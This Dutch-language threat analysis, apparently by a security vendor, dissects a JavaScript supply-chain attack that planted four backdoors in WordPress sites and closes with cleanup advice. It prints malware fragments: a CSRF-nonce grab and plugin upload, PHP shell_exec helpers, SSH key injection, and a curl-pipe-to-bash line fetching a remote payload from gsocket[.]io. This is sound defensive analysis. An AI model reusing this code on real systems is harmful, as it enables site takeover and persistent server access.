Tijdens het analyseren van bedreigingen gericht op WordPress-frameworks ontdekten we een aanval waarbij één enkel JavaScript-bestand van een derde partij werd gebruikt om vier afzonderlijke backdoors te injecteren in 1.000 gecompromitteerde websites via cdn.csyndication[.]com/.

Het aanmaken van vier backdoors geeft aanvallers meerdere toegangspunten voor herinfectie, mocht één ervan worden ontdekt en verwijderd. Een uniek geval dat we nog niet eerder hebben gezien. Het introduceert ook een nieuw type aanval dat mogelijk wordt gemaakt door misbruik te maken van websites die geen toezicht houden op afhankelijkheden van derden in de browser van hun gebruikers.
Hier zijn onze gevonden referenties voor eigen onderzoek:
Backdoor-functies:
- Uploadt een kwaadaardig WordPress-plugin via een verborgen script.
- Injecteert de kwaadaardige JavaScript.
- Voegt door de aanvaller beheerde SSH-sleutels toe.
- Voert externe opdrachten uit en haalt de payload op.
Het kwaadaardige domein heeft slechts twee detecties in threat feeds.


1e backdoor
Een zip-bestand is gecodeerd in base64:
<const O00O00911F_0x5aa841 = "UEsDBAoAAAAAAJizT1kAAAAAAAAAAAAAAAAUABwAdWx0cmEtc2VvLXByb2Nlc3Nvci9VVAkAA4DQ...";
Het haalt de uploadpagina voor WordPress-plugins op om het _wpnonce-token (CSRF-beveiliging) te verkrijgen.
O00O00911F_0x2bcbf3().then(_0x58a9ee => {
if (_0x58a9ee) {
const _0x425d54 = new FormData();
_0x425d54.append("_wpnonce", _0x58a9ee);
_0x425d54.append("pluginzip", O00O00911F_0x4e0619, "ultra-seo-processor-wp.zip");
fetch("/wp-admin/update.php?action=upload-plugin", {
method: "POST",
body: _0x425d54,
credentials: "include"
})
}
});
Dit uploadt en installeert een nepplugin (ultra-seo-processor-wp.zip) op een WordPress-website. Het ZIP-bestand bevat kwaadaardige PHP-code.
Vervolgens wordt geprobeerd nog een kwaadaardig WordPress-plugin te uploaden:
return fetch("/wp-admin/plugin-install.php?tab=upload", {
method: "GET",
credentials: "include"
}).then(_0x58b74d => _0x58b74d.text()).then(_0x29d24b => {
const _0x577cdd = new DOMParser();
const _0x240b0e = _0x577cdd.parseFromString(_0x29d24b, "text/html");
const _0x1bd6e5 = _0x240b0e.querySelector("input[name=\"_wpnonce\"]");
if (_0x1bd6e5) {
return _0x1bd6e5.value;
}
});
Deze functie haalt een admin-nonce op uit WordPress en probeert vervolgens een plugin (ultra-seo-processor-wp.zip) te uploaden naar /wp-admin/update.php?action=upload-plugin, wat een duidelijk teken is van ongeautoriseerde wijziging op beheerdersniveau.
Het script probeert daarna een backdoor-bestand uit te voeren in de /wp-content/plugins/-map.
return fetch("/wp-content/plugins/ultra-seo-processor/ultra-seo-processor.php?f6975d6b0e6087dbea971c93cdce5dd2=da00c38aacde5b89aa408c8338151caa", {
method: "GET",
credentials: "include"
});
Het zoekt naar WordPress- en Laravel-installatiemappen. Deze PHP-functie probeert WordPress-installaties (wp-config.php, wp-blog-header.php) en Laravel-installaties (artisan) te lokaliseren voor mogelijke exploitatie.
function findSpecialDirectories($rootDir) {
$directories = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$rootDir,
FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isDir()) {
$path = $file->getRealPath();
if (!$path) {
continue;
}
if (
file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'artisan')
) {
$directories[] = $path;
}
}
}
return array_unique($directories);
}
Analyse van ultra-seo-processor.zip in de 1e backdoor
Bestandshash: 3953121a6994a157e12886df45ef2aaa85390832d58915370d8c90d4f90092be
Slechts één detectie op Virustotal.

Het ZIP-bestand, base64-gecodeerd en via een verborgen script in WordPress geïnjecteerd, bevat:
- ultra-seo-processor.php: Een malafide WordPress-plugin die aanvallersopdrachten uitvoert.
- Code die de plugin verbergt voor het beheerderspaneel, waardoor detectie moeilijk wordt.
- Functies die mappen scannen op WordPress- en Laravel-installaties.
- Geïnjecteerde code in wp-config.php voor persistentie.
- SSH-sleutelinstallatie, waarmee externe toegang tot de server mogelijk wordt.
Hier is een fragment van de PHP-backdoor in de plugin:
function findSpecialDirectories($rootDir) {
$directories = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$rootDir,
FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isDir()) {
$path = $file->getRealPath();
if (!$path) {
continue;
}
if (
file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php')
) {
$directories[] = $path;
}
}
}
return array_unique($directories);
}
Deze functie probeert WordPress-installaties te scannen; de malware is ontworpen voor brede verspreiding over meerdere CMS-installaties op dezelfde server.
$my_execution = function($cmd) {
return shell_exec($cmd);
};
2e backdoor:
Injecteert kwaadaardige JavaScript in wp-config.php:
$cdn = '<?php ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false ...';
3e backdoor:
SSH-sleutelinjectie voegt door de aanvaller beheerde SSH-sleutels toe aan ~/.ssh/authorized_keys, waardoor persistente toegang tot de server mogelijk wordt:
$ak_a_file = $ak_base_folder.'/.ssh/authorized_keys';
@file_put_contents($ak_a_file, 'ssh-rsa AAAAB3N...');
@file_put_contents($ak_a_file, 'ssh-ed25519 AAAAC3Nza...');
4e backdoor:
Voert externe opdrachten uit en haalt een extra payload op van gsocket[.]io/y, wat waarschijnlijk een reverse shell aanmaakt.
$my_execution = function($cmd) {
return shell_exec($cmd);
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://gsocket[.]io/y)"');
Hoe u uw website kunt beschermen
Verwijder bij ontdekking onmiddellijk de kwaadaardige WordPress-plugin (ultra-seo-processor). Controleer .ssh/authorized_keys op ongeautoriseerde sleutels en verwijder deze. Onderzoek wp-config.php en index.php op geïnjecteerde code. Als uw webserver is getroffen, vernieuw dan alle WordPress-beheerdersgegevens. Houd systeemlogboeken in de gaten op verdere verdachte activiteit.
Het gebruik van JavaScript van derden als aanvalsvector is niet nieuw. De aanpak met meerdere backdoors, die de persistentie voor aanvallers maximaliseert, is echter uniek. Gezien het wijdverbreide gebruik van externe JS-bibliotheken op alle sites verwachten we dat dit type aanval zich zal herhalen.
We hebben deze aanval in een testomgeving nagebootst, en cside detecteerde en blokkeerde de kwaadaardige JavaScript-injectie succesvol. Als u zich zorgen maakt over mogelijke infecties, kan ons systeem realtime analyse en proactieve verdediging bieden.




